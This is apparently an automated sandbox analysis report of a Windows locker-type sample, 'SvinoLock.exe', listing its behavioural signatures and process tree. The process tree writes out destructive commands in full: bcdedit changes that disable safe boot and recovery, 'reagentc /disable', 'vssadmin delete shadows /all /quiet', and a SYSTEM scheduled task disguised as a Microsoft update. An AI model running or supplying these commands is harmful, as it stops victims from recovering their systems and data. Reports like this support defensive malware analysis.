Resubmissions

16/07/2026, 20:04

260716-ytdntacy2p10

16/07/2026, 14:16

260716-rljrjaft2k10

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/07/2026, 14:16

General

  • Target
    SvinoLock.exe
  • Size 29KB
  • Sample260716-rljrjaft2k
  • SHA256 c8bd772b1a8cb2c8b735f6cc84307ff1e772a9a798d49c0879f9aae327aa05d8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • UAC bypass 3 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SvinoLock.exe
    "C:\Users\Admin\AppData\Local\Temp\SvinoLock.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • UAC bypass
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2076
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot minimal
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4620
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} safeboot disabled
      2⤵
      • System Location Discovery: System Language Discovery
      PID:936
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} safeboot disabled
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2416
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootmenupolicy legacy
      2⤵
      • System Location Discovery: System Language Discovery
      PID:6060
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} advancedoptions false
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1204
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} optionsedit false
      2⤵
      • System Location Discovery: System Language Discovery
      PID:708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reagentc /disable
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5008
      • C:\Windows\SysWOW64\ReAgentc.exe
        reagentc /disable
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5668
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoverysequence
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5844
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {default} recoveryenabled
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3972
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoverysequence
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1452
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /deletevalue {current} recoveryenabled
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2424
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5472
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled No
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2744
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3308
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3564
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "MicrosoftUpdateTask" /f
      2⤵
      • Indicator Removal: Clear Persistence
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5048
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /delete /tn "MicrosoftUpdateTask" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5228
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask" /tr "C:\Windows\System32\MicrosoftUpdateService.exe" /sc onlogon /ru SYSTEM /rl HIGHEST /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1684
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "MicrosoftUpdateTask" /tr "C:\Windows\System32\MicrosoftUpdateService.exe" /sc onlogon /ru SYSTEM /rl HIGHEST /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4356
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "MicrosoftUpdateTask" /f
      2⤵
      • Indicator Removal: Clear Persistence
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5132
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /delete /tn "MicrosoftUpdateTask" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4812
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "MicrosoftUpdateTask" /tr "C:\Windows\System32\MicrosoftUpdateService.exe" /sc onlogon /ru SYSTEM /rl HIGHEST /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3868
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn "MicrosoftUpdateTask" /tr "C:\Windows\System32\MicrosoftUpdateService.exe" /sc onlogon /ru SYSTEM /rl HIGHEST /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3608
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3772
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    PID:5748
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4396

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2076-0-0x0000000074AB2000-0x0000000074AB3000-memory.dmp

          memory/2076-1-0x00000000008F0000-0x00000000008FE000-memory.dmp

          memory/2076-2-0x0000000005B50000-0x000000000610A000-memory.dmp

          memory/2076-3-0x0000000005430000-0x00000000054C2000-memory.dmp

          memory/2076-4-0x0000000074AA0000-0x000000007525C000-memory.dmp

          memory/2076-9-0x0000000006920000-0x0000000006986000-memory.dmp

          memory/2076-10-0x0000000006F20000-0x0000000006F2A000-memory.dmp

          memory/2076-11-0x0000000074AB2000-0x0000000074AB3000-memory.dmp

          memory/2076-12-0x0000000074AA0000-0x000000007525C000-memory.dmp

          memory/5748-13-0x000002E3960C0000-0x000002E3960C1000-memory.dmp

          memory/5748-15-0x000002E3960C0000-0x000002E3960C1000-memory.dmp

          memory/5748-24-0x000002E3960C0000-0x000002E3960C1000-memory.dmp

          memory/5748-23-0x000002E3960C0000-0x000002E3960C1000-memory.dmp

          memory/5748-22-0x000002E3960C0000-0x000002E3960C1000-memory.dmp

          memory/5748-21-0x000002E3960C0000-0x000002E3960C1000-memory.dmp

          memory/5748-19-0x000002E3960C0000-0x000002E3960C1000-memory.dmp

          memory/5748-20-0x000002E3960C0000-0x000002E3960C1000-memory.dmp